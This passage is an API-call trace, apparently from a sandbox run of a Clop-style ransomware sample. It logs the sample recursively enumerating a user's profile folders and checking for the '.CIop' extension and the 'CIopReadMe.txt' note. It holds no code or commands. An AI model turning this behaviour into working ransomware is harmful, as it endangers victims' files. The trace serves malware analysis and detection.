lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0138.533] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0138.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0138.533] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.533] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0138.533] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0138.533] lstrlenW (lpString=".CIop") returned 5 [0138.533] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.533] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.533] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.533] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0138.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0138.533] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.533] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0138.533] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0138.533] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0138.534] SetErrorMode (uMode=0x1) returned 0x1 [0138.534] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0138.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0138.534] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0138.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0138.534] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.534] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0138.534] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0138.534] lstrlenW (lpString=".CIop") returned 5 [0138.534] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.534] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.534] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.534] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0138.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0138.534] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.534] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0138.534] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0138.534] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0138.534] SetErrorMode (uMode=0x1) returned 0x1 [0138.534] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0138.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0138.534] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0138.534] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0138.534] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.534] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0138.534] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0138.534] lstrlenW (lpString=".CIop") returned 5 [0138.534] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.534] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.535] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.535] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0138.535] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0138.535] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.535] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0138.535] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0138.535] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.535] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.535] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0138.535] SetErrorMode (uMode=0x1) returned 0x1 [0138.535] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0138.535] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0138.535] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0138.535] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0138.535] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.535] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0138.535] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0138.535] lstrlenW (lpString=".CIop") returned 5 [0138.535] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.535] lstrlenW (lpString="desktop.ini") returned 11 [0138.535] lstrlenW (lpString=".CIop") returned 5 [0138.535] lstrlenW (lpString=".CIop") returned 5 [0138.535] lstrlenW (lpString=".CIop") returned 5 [0138.535] lstrlenW (lpString=".CIop") returned 5 [0138.535] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0138.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0138.536] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.536] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0138.536] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0138.536] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0138.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0138.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0138.536] SetErrorMode (uMode=0x1) returned 0x1 [0138.536] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0138.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0138.536] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0138.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0138.536] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.536] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0138.536] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0138.536] lstrlenW (lpString=".CIop") returned 5 [0138.536] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.536] lstrlenW (lpString=".CIop") returned 5 [0138.536] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0138.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0138.536] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.537] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0138.537] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0138.537] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0138.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0138.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0138.537] SetErrorMode (uMode=0x1) returned 0x1 [0138.537] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0138.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0138.537] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0138.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0138.537] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0138.537] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0138.537] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0138.537] lstrlenW (lpString=".CIop") returned 5 [0138.537] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.537] lstrlenW (lpString=".CIop") returned 5 [0138.537] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0138.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0138.537] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0138.537] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0138.537] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0138.537] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0138.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0138.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0138.537] SetErrorMode (uMode=0x1) returned 0x1 [0138.538] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0138.538] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0138.538] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0138.538] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0138.538] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0138.538] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0138.538] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0138.538] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.538] lstrlenW (lpString=".CIop") returned 5 [0138.538] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0138.538] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0138.538] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0138.538] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0138.538] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0138.538] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.538] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0138.539] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0138.539] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.539] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.539] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.539] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.539] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.539] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2="..") returned 1 [0138.539] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2=".") returned 1 [0138.539] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0138.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0138.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0138.539] SetErrorMode (uMode=0x1) returned 0x1 [0138.539] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0138.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0138.539] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0138.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0138.539] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.539] PathFindFileNameW 